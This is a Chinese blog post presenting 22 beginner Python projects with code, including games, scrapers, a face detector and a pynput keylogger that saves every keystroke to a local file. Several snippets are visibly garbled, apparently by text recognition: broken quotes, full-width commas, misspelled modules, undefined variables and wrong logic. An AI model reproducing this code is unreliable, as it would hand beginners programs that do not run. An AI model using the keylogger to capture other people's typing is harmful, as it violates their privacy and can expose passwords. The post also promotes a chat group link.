建议收藏！献给Python初学者的22个入门小项目，练手必备！

古城微笑少年丶 2022-09-16 13:21 222阅读 0赞

Python的各种第三方库，能够完成很多好玩的操作，给大家展现几个Python实现的小玩意，看看大家都做过没~  
![在这里插入图片描述][2934b9742dda49689465ac8523688f80.png]  
大家也可根据项目的目的及提示，自己构建解决方法，一起在评论区交流~

**1、短网址生成器**

编写一个Python脚本，使用API缩短给定的URL。

from __future__ import with_statement
    import contextlib
    try:
        from urllib.parse import urlencode
    except ImportError:
        from urllib import urlencode
    try:
        from urllib.request import urlopen
    except ImportError:
        from urllib2 import urlopen
    import sys
    
    def make_tiny(url):
        request_url = ('http://tinyurl.com/api-create.php?' + 
        urlencode({ 'url':url}))
        with contextlib.closing(urlopen(request_url)) as response:
            return response.read().decode('utf-8')
    
    def main():
        for tinyurl in map(make_tiny, sys.argv[1:]):
            print(tinyurl)
    
    if __name__ == '__main__':
        main()
    -----------------------------OUTPUT------------------------
    python url_shortener.py https://www.wikipedia.org/
    https://tinyurl.com/buf3qt3

兄弟们学习python，有时候不知道怎么学，从哪里开始学。掌握了基本的一些语法或者做了两个案例后，不知道下一步怎么走，不知道如何去学习更加高深的知识。  
那么对于这些大兄弟们，我准备了大量的免费视频教程，PDF电子书籍，以及视频源的源代码！  
还会有大佬解答！  
都在这个群里了 [点这里立即进裙][Link 1]  
欢迎加入，一起讨论 一起学习！

**2、故事生成器**

每次用户运行程序时，都会生成一个随机的故事。

random模块可以用来选择故事的随机部分，内容来自每个列表里。

import random
    when=['A few years ago'， 'Yesterday'， 'Last night', 'A long time ago' , 'On 20th Jan']
    who=['a rabbit','an elephant', 'a mouse', 'a turtle', 'a cat']
    name=[ 'Ali '，"Miriam' , "danicL','Hoouk",‘Starwalker'1
    residence-[ 'Barcelona' , " India','Germany'，'Venice', 'England']
    went= [ 'cinema',"university' , ' seminar', 'school'，'laundry ']
    happened =['made a lot of friends' , 'Eats a burger','found a secret key', ' solved a mistery'，" wrote a book"]
    print( random.choice(when) + ',' +random.choice(who) + ' that lived in ' +
    random.choice(residence) +', went to the ' + random.choice(went) + ' and ' +
    random.choice(happened))
    -----------------------------------------OUTPUT-----------------------------------------
    A long time ago, a cat that lived in England， went to the seminar and solved a mistery

**3、邮件地址切片器**

编写一个Python脚本，可以从邮件地址中获取用户名和域名。

使用@作为分隔符，将地址分为分为两个字符串。

#Get the user 's email address
    email = input("what is your email address ?: ").strip()
    # Slice out the user name
    email = input("what is your email address ?: ").strip()
    # Slice out the user name
    domain_name = email[email.index("a")+1:]
    #Format message
    res = f"Your username is '{ user_name}’ and your domain name is '{ domain_name}"
    # Display the result message
    print(res)
    --------------------------------OUTPUT------------------------------------------
    what is your email address?: karl31agmail.com
    Your username is "karl31" and your domain name is 'gmail.com

**4、句子生成器**

通过用户提供的输入，来生成随机且唯一的句子。

以用户输入的名词、代词、形容词等作为输入，然后将所有数据添加到句子中，并将其组合返回。

color = input("Enter a color:“)
    pluralNoun= input("Enter a plural noun: ")
    celebrity input("Enter a celebrity: ")
    print("Roses are" ,color)
    print(pluralNoun+ " are blue")
    print(I love" , celebrity)
    -----------------------------------------------
    Red
    Teeth
    RDJ
    Roses are red. teeth are blue. I Love RDJ

**5、自动发送邮件**

编写一个Python脚本，可以使用这个脚本发送电子邮件。

email库可用于发送电子邮件。

import smtplib 
    from email.message import EmailMessage
    email = EmailMessage() ## Creating a object for EmailMessage
    email['from'] = 'xyz name'   ## Person who is sending
    email['to'] = 'xyz id'       ## Whom we are sending
    email['subject'] = 'xyz subject'  ## Subject of email
    email.set_content("Xyz content of email") ## content of email
    with smtlib.SMTP(host='smtp.gmail.com',port=587)as smtp:     
    ## sending request to server 
        smtp.ehlo()          ## server object
    smtp.starttls()      ## used to send data between server and client
    smtp.login("email_id","Password") ## login id and password of gmail
    smtp.send_message(email)   ## Sending email
    print("email send")    ## Printing success message

**6、猜数字游戏**

在这个游戏中，任务是创建一个脚本，能够在一个范围内生成一个随机数。如果用户在三次机会中猜对了数字，那么用户赢得游戏，否则用户输。

生成一个随机数，然后使用循环给用户三次猜测机会，根据用户的猜测打印最终的结果。

import random
    nunber = random.randint(1,10)
    for i in range(e,3):
        user =int(input("guess the number"))
        if user -number:
           print("Hurray H")
           print(f"you guessed the number right it's { number}")
           break
        elif user>number:
           print("Your guess is too high")
        elif userenuimber:
           print(Your guess is too low.")
    else:
        print(f"Nice Try!,but the number is { number}")

**7、石头剪刀布游戏**

创建一个命令行游戏，游戏者可以在石头、剪刀和布之间进行选择，与计算机PK。如果游戏者赢了，得分就会添加，直到结束游戏时，最终的分数会展示给游戏者。

接收游戏者的选择，并且与计算机的选择进行比较。计算机的选择是从选择列表中随机选取的。如果游戏者获胜，则增加1分。

import random
    choices = ["Rock", "Paper", "Scissors"]
    computer = random.choice(choices)
    player = False
    cpu_score = 0
    player_score = 0
    while True:
        player = input("Rock, Paper or Scissors?").capitalize()
        # 判断游戏者和电脑的选择
        if player == computer:
            print("Tie!")
        elif player == "Rock":
            if computer == "Paper":
                print("You lose!", computer, "covers", player)
                cpu_score+=1
            else:
                print("You win!", player, "smashes", computer)
                player_score+=1
        elif player == "Paper":
            if computer == "Scissors":
                print("You lose!", computer, "cut", player)
                cpu_score+=1
            else:
                print("You win!", player, "covers", computer)
                player_score+=1
        elif player == "Scissors":
            if computer == "Rock":
                print("You lose...", computer, "smashes", player)
                cpu_score+=1
            else:
                print("You win!", player, "cut", computer)
                player_score+=1
        elif player=='E':
            print("Final Scores:")
            print(f"CPU:{ cpu_score}")
            print(f"Plaer:{ player_score}")
            break
        else:
            print("That's not a valid play. Check your spelling!")
        computer = random.choice(choices)

**8、维基百科文章摘要**

使用一种简单的方法从用户提供的文章链接中生成摘要。

你可以使用爬虫获取文章数据，通过提取生成摘要。

from bs4 import BeautifulSoup
    import re
    import requests
    import heapq
    from nltk.tokenize import sent_tokenize,word_tokenize
    from nltk.corpus import stopwords
    
    url = str(input("Paste the url"\n"))num = int(input("Enter the Number of Sentence you want in the summary"))
    num = int(num)
    headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}#url = str(input("Paste the url......."))
    res = requests.get(url,headers=headers)summary = ""
    soup = BeautifulSoup(res.text,'html.parser') content = soup.findAll("p")
    for text in content:
        summary +=text.text 
    def clean(text):    text = re.sub(r"\[[0-9]*\]"," ",text)
        text = text.lower()    text = re.sub(r'\s+'," ",text)    text = re.sub(r","," ",text)
        return text
    summary = clean(summary)
    print("Getting the data......\n")
    
    
    ##Tokenixing
    sent_tokens = sent_tokenize(summary)
    summary = re.sub(r"[^a-zA-z]"," ",summary)
    word_tokens = word_tokenize(summary)
    ## Removing Stop words
    
    word_frequency = { }stopwords =  set(stopwords.words("english"))
    
    for word in word_tokens:
        if word not in stopwords:
            if word not in word_frequency.keys():
                word_frequency[word]=1
            else:
                word_frequency[word] +=1
    maximum_frequency = max(word_frequency.values())
    print(maximum_frequency)          
    for word in word_frequency.keys():
        word_frequency[word] = (word_frequency[word]/maximum_frequency)
    print(word_frequency)
    sentences_score = { }
    for sentence in sent_tokens:
        for word in word_tokenize(sentence):
            if word in word_frequency.keys():            if (len(sentence.split(" "))) <30:
                    if sentence not in sentences_score.keys():
                        sentences_score[sentence] = word_frequency[word]
                    else:
                        sentences_score[sentence] += word_frequency[word]
    
    print(max(sentences_score.values()))
    def get_key(val): 
        for key, value in sentences_score.items(): 
            if val == value: 
                return key 
    key = get_key(max(sentences_score.values()))print(key+"\n")
    print(sentences_score)
    summary = heapq.nlargest(num,sentences_score,key=sentences_score.get)print(" ".join(summary))summary = " ".join(summary)

**9、随机密码生成器**

创建一个程序，可指定密码长度，生成一串随机密码。

创建一个数字+大写字母+小写字母+特殊字符的字符串。根据设定的密码长度随机生成一串密码。

import random
    passlen = int(input("enter the length of password"))
    s="abcdefghijklmnopqrstuvwxyz01234567890ABCDEFGHIJKLNNOPQRSTUVWXYz!简#$x^6a()?p=.join(random.sample(s.passlen )
    print(p)
    -----------------------------------------------------------
    enter the length of password6
    za1gBe

**10、闹钟**

编写一个创建闹钟的Python脚本。

你可以使用date-time模块创建闹钟，以及playsound库播放声音。

from datetime import datetime   
    from playsound import playsound
    alarm_time = input("Enter the time of alarm to be set:HH:MM:SS\n")
    alarm_hour=alarm_time[0:2]
    alarm_minute=alarm_time[3:5]
    alarm_seconds=alarm_time[6:8]
    alarm_period = alarm_time[9:11].upper()
    print("Setting up alarm..")
    while True:
        now = datetime.now()
        current_hour = now.strftime("%I")
        current_minute = now.strftime("%M")
        current_seconds = now.strftime("%S")
        current_period = now.strftime("%p")
        if(alarm_period==current_period):
            if(alarm_hour==current_hour):
                if(alarm_minute==current_minute):
                    if(alarm_seconds==current_seconds):
                        print("Wake Up!")
                        playsound('audio.mp3') ## download the alarm sound from link
                        break

**11、文字冒险游戏**

编写一个有趣的Python脚本，通过为路径选择不同的选项让用户进行有趣的冒险。

name = str( input("Enter Your Mame\n"))
    print(f"{ name} you are stuck in a forest.Your task is to get out from the forest withoutdieing")
    print("You are walking threw forest and suddenly a wolf comes in your way.Now Youoptions.")
    print("1.Run 2. climb The Nearest Tree ")
    user = int(input("choose one option 1 or 2"))
    if user = 1:
        print("You Died!!")
    elif user = 2:
        print("You Survived!!")
    else:
        print("Incorrect Input")
    #### Add a loop and increase the story as much as you can

**12、有声读物**

编写一个Python脚本，用于将Pdf文件转换为有声读物。

借助pyttsx3库将文本转换为语音。

要安装的模块：

pyttsx3
    PyPDF2

import pyttsx3,PyPDF2
    DdfReader = pyPDF2.PdfFileReader(open( "file.pdf',"rb'))
    speaker = pyttsx3.init()
    for page_num in range(pdfReader.numPages):
        text =pdfReader.getPage(page_num).extractText()
        speaker.say(text)
        speaker.runAndwait()
    speaker.stopo()

**13、货币换算器**

编写一个Python脚本，可以将一种货币转换为其他用户选择的货币。

使用Python中的API，或者通过forex-python模块来获取实时的货币汇率。

安装：forex-python

from forex _python.converter import CurrencyRatesc = CurrencyRates()
    amount = int(input("Enter The Amount You Want To Convert\n"))
    from_currency = input( "From\n" )-upper()
    to_currency = input( "To\n").upper()
    print(from_currency,"To",to_currency , amount)
    result = c.convert(from_currency, to_currency, amount)
    print(result)

**14、天气应用**

编写一个Python脚本，接收城市名称并使用爬虫获取该城市的天气信息。

你可以使用Beautifulsoup和requests库直接从谷歌主页爬取数据。

安装：

requests
    BeautifulSoup

**15、人脸检测**

编写一个Python脚本，可以检测图像中的人脸，并将所有的人脸保存在一个文件夹中。

可以使用haar级联分类器对人脸进行检测。它返回的人脸坐标信息，可以保存在一个文件中。

安装：

OpenCV

下载：haarcascade\_frontalface\_default.xml

import cv2
    # Load the cascade
    face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')
    # Read the input image
    img = cv2.imread('images/img0.jpg')
    # Convert into grayscale
    gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
    # Detect faces
    faces = face_cascade.detectMultiScale(gray, 1.3, 4)
    # Draw rectangle around the faces
    for (x, y, w, h) in faces:
        cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2)
        crop_face = img[y:y + h, x:x + w]  
        cv2.imwrite(str(w) + str(h) + '_faces.jpg', crop_face)
    # Display the output
    cv2.imshow('img', img)
    cv2.imshow("imgcropped",crop_face)
    cv2.waitKey()

**16、提醒应用**

创建一个提醒应用程序，在特定的时间提醒你做一些事情(桌面通知)。  
Time模块可以用来跟踪提醒时间，toastnotifier库可以用来显示桌面通知。

安装：win10toast

from win10toast import ToastNotifier
    import time
    toaster = ToastNotifier()
    try:
        print("Title of reminder")
        header = input()
        print("Message of reminder")
        text = input()
        print("In how many minutes?")
        time_min = input()
        time_min=float(time_min)
    except:
        header = input("Title of reminder\n")
        text = input("Message of remindar\n")
        time_min=float(input("In how many minutes?\n"))
    time_min = time_min * 60
    print("Setting up reminder..")
    time.sleep(2)
    print("all set!")
    time.sleep(time_min)
    toaster.show_toast(f"{ header}",
    f"{ text}",
    duration=10,
    threaded=True)
    while toaster.notification_active(): time.sleep(0.005)

**17、Hangman**

创建一个简单的命令行hangman游戏。

创建一个密码词的列表并随机选择一个单词。现在将每个单词用下划线“*”表示，给用户提供猜单词的机会，如果用户猜对了单词，则将“*”用单词替换。

import time
    import random
    name = input("What is your name? ")
    print ("Hello, " + name, "Time to play hangman!")
    time.sleep(1)
    print ("Start guessing...\n")
    time.sleep(0.5)
    ## A List Of Secret Words
    words = ['python','programming','treasure','creative','medium','horror']
    word = random.choice(words)
    guesses = ''
    turns = 5
    while turns > 0:         
        failed = 0             
        for char in word:      
            if char in guesses:    
                print (char,end="")    
            else:
                print ("_",end=""),     
                failed += 1    
        if failed == 0:        
            print ("\nYou won") 
            break              
        guess = input("\nguess a character:") 
        guesses += guess                    
        if guess not in word:  
            turns -= 1        
            print("\nWrong")    
            print("\nYou have", + turns, 'more guesses') 
            if turns == 0:           
                print ("\nYou Lose")

**18、文章朗读器**

编写一个Python脚本，自动从提供的链接读取文章。

import pyttsx3
    import requests
    from bs4 import BeautifulSoup
    url = str(input("Paste article url\n"))
    
    def content(url):
      res = requests.get(url)
      soup = BeautifulSoup(res.text,'html.parser')
      articles = []
      for i in range(len(soup.select('.p'))):
        article = soup.select('.p')[i].getText().strip()
        articles.append(article)
        contents = " ".join(articles)
      return contents
    engine = pyttsx3.init('sapi5')
    voices = engine.getProperty('voices')
    engine.setProperty('voice', voices[0].id)
    
    def speak(audio):
      engine.say(audio)
      engine.runAndWait()
    
    contents = content(url)
    ## print(contents) ## In case you want to see the content
    
    #engine.save_to_file
    #engine.runAndWait() ## In case if you want to save the article as a audio file

**19、获取谷歌搜索结果**

创建一个脚本，可以根据查询条件从谷歌搜索获取数据。

from bs4 import BeautifulSoup 
    import requests
    
    headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}
    def google(query):
        query = query.replace(" ","+")
        try:
            url = f'https://www.google.com/search?q={ query}&oq={ query}&aqs=chrome..69i57j46j69i59j35i39j0j46j0l2.4948j0j7&sourceid=chrome&ie=UTF-8'
            res = requests.get(url,headers=headers)
            soup = BeautifulSoup(res.text,'html.parser')
        except:
            print("Make sure you have a internet connection")
        try:
            try:
                ans = soup.select('.RqBzHd')[0].getText().strip()
    
            except:
                try:
                    title=soup.select('.AZCkJd')[0].getText().strip()
                    try:
                        ans=soup.select('.e24Kjd')[0].getText().strip()
                    except:
                        ans=""
                    ans=f'{ title}\n{ ans}'
    
                except:
                    try:
                        ans=soup.select('.hgKElc')[0].getText().strip()
                    except:
                        ans=soup.select('.kno-rdesc span')[0].getText().strip()
    
        except:
            ans = "can't find on google"
        return ans
    
    result = google(str(input("Query\n")))
    print(result)

获取结果如下  
![在这里插入图片描述][006e74f9540f44778c1e4f78788ccde4.png]  
**20、键盘记录器**

编写一个Python脚本，将用户按下的所有键保存在一个文本文件中。

pynput是Python中的一个库，用于控制键盘和鼠标的移动，它也可以用于制作键盘记录器。简单地读取用户按下的键，并在一定数量的键后将它们保存在一个文本文件中。

from pynput.keyboard import Key, Controller,Listener
    import time
    keyboard = Controller()
    
    
    keys=[]
    def on_press(key):
        global keys
        #keys.append(str(key).replace("'",""))
        string = str(key).replace("'","")
        keys.append(string)
        main_string = "".join(keys)
        print(main_string)
        if len(main_string)>15:
          with open('keys.txt', 'a') as f:
              f.write(main_string)   
              keys= []     
    def on_release(key):
        if key == Key.esc:
            return False
    
    with listener(on_press=on_press,on_release=on_release) as listener:
        listener.join()

**21、缩写词**

编写一个Python脚本，从给定的句子生成一个缩写词。

你可以通过拆分和索引来获取第一个单词，然后将其组合。

text = str(input("Enter a stringin"))
    text = text.splitO
    acronym = ""
    for i in text:
    acronym = acronymstr(i[e3).upperOprint(acronym)
    -----------------output--------------------------
    Python Programming languagePPL

**22、骰子模拟器**

创建一个程序来模拟掷骰子

当用户询问时，使用random模块生成一个1到6之间的数字。

import random;
    while int(input( ' Press 1 to roll the dice or 0 to exit:\n')): print(random.randint(1,6))
    -----------------------------------------------
    
    Press 1 to roll the dice or 0 to exit
    1
    4

以上就是今天分享的内容，针对上面这些项目，有的可以适当调整。欢迎大家在评论区一起交流！

[2934b9742dda49689465ac8523688f80.png]: /images/20220828/cb497fcbfb2d4de2bc8283a22764d9a5.png
[Link 1]: https://jq.qq.com/?_wv=1027&k=ABoZS3lA
[006e74f9540f44778c1e4f78788ccde4.png]: /images/20220828/8f468c595cd44dc19bac602252cc5ec4.png